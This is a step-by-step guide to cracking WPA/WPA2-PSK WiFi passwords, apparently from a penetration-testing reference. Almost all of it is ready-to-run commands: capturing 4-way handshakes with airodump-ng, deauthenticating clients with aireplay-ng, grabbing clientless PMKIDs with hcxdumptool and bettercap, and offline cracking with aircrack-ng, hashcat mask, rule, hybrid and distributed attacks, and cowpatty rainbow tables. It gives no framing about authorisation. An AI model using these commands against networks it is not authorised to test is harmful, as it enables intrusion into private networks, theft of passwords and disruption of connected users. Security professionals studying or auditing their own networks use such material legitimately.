WPA/WPA2 Cracking
WPA2-PSK is the most common home WiFi security. Attacks focus on capturing the 4-way handshake or PMKID and cracking it offline.
4-Way Handshake Capture
Step 1: Start capture on the target network.
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
Step 2: Deauthenticate a client to force reconnection.
-0: deauth attack, 5: number of deauths, -a: target AP BSSID, -c: target client MAC.
# In another terminal:
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0monStep 3: Wait for "WPA handshake: AA:BB:CC:DD:EE:FF" in airodump. Verify the handshake was captured.
aircrack-ng handshake-01.capStep 4: Crack with a wordlist using aircrack-ng.
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.capGPU cracking with Hashcat is much faster. First, convert the capture to hashcat format.
# Option 1: Using aircrack-ng
aircrack-ng -j handshake handshake-01.cap
# Option 2: Using hcxpcapngtool
hcxpcapngtool -o handshake.hc22000 handshake-01.capCrack with hashcat using mode 22000 (WPA-PBKDF2-PMKID+EAPOL).
hashcat -m 22000 handshake.hc22000 /usr/share/wordlists/rockyou.txtUse rules for better coverage.
hashcat -m 22000 handshake.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rulePMKID Attack (Clientless)
PMKID Attack Overview: Discovered in 2018, this attack extracts the Pairwise Master Key Identifier from the first frame of the 4-way handshake (EAPOL frame 1). No client needed, no handshake required - just association with the AP.
Why PMKID Works
The PMKID is calculated as: HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Since MAC addresses are known, we can brute force the PMK (Pairwise Master Key) which is derived from the PSK (Pre-Shared Key / WiFi password).
Step 1: Capture PMKID with hcxdumptool (modern method).
# Install hcxdumptool and hcxtools
sudo apt install hcxdumptool hcxtools
# Capture PMKID (no monitor mode required!)
sudo hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15
# Target specific network
sudo hcxdumptool -i wlan0 -o pmkid.pcapng --filterlist_ap=targets.txt --filtermode=2
# Create targets.txt with AP MAC addresses (one per line):
# AA:BB:CC:DD:EE:FF
# 11:22:33:44:55:66Step 2: Extract PMKID and convert to hashcat format.
# Convert to hashcat 22000 format
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
# Check if PMKID was captured
cat pmkid.hc22000 | grep "^WPA\*02"
# Output format: WPA*02*PMKID*MAC_AP*MAC_STA*ESSIDStep 3: Crack PMKID with hashcat.
# Basic dictionary attack
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
# With rules (best64)
hashcat -m 22000 pmkid.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attack (8 digits)
hashcat -m 22000 pmkid.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# Hybrid attack (wordlist + digits)
hashcat -m 22000 pmkid.hc22000 -a 6 wordlist.txt ?d?d?d?d
# Show cracked passwords
hashcat -m 22000 pmkid.hc22000 --showAlternative: Use Bettercap to trigger PMKID capture.
sudo bettercap -iface wlan0mon
> wifi.recon on
> wifi.show
# Associate with target AP to trigger PMKID
> wifi.assoc AA:BB:CC:DD:EE:FF
# PMKID will be saved in bettercap session
> set wifi.handshakes.file pmkid.pcapAdvanced Cracking Techniques
Combinator Attack: Combine two wordlists.
# Combine words from two lists
hashcat -m 22000 handshake.hc22000 -a 1 wordlist1.txt wordlist2.txt
# Example: "password" + "123" = "password123"Rainbow Tables: Pre-computed hashes for common SSIDs.
# Generate rainbow table for specific SSID
genpmk -f wordlist.txt -d rainbow.db -s "SSID_NAME"
# Use cowpatty with rainbow table
cowpatty -d rainbow.db -r handshake-01.cap -s "SSID_NAME"
# Note: SSID is part of the PMK calculation, so rainbow tables
# are SSID-specific (Common SSIDs: "linksys", "default", "NETGEAR")Incremental Mask Attack: Target specific password patterns.
# Format: SSID + 4 digits (common for many routers)
hashcat -m 22000 handshake.hc22000 -a 3 MyWiFi?d?d?d?d
# Year patterns (2020-2024)
hashcat -m 22000 handshake.hc22000 -a 3 ?l?l?l?l202?d
# Phone number patterns (XXX-XXXX)
hashcat -m 22000 handshake.hc22000 -a 3 ?d?d?d-?d?d?d?d
# Custom charset (lowercase + numbers only)
hashcat -m 22000 handshake.hc22000 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1Distribution Cracking: Use multiple GPUs or cloud instances.
# Limit keyspace for distribution
# Instance 1: crack first 50% of keyspace
hashcat -m 22000 handshake.hc22000 wordlist.txt --skip=0 --limit=5000000
# Instance 2: crack second 50%
hashcat -m 22000 handshake.hc22000 wordlist.txt --skip=5000000
# Restore session if interrupted
hashcat -m 22000 handshake.hc22000 wordlist.txt --session=session1 --restore⚠️ PMKID Limitations
- • Not all routers/APs support PMKID (patched in newer firmware)
- • Roaming enabled APs more likely to have PMKID
- • If PMKID fails, fall back to traditional 4-way handshake
- • WPA3 (SAE) does not use PMKID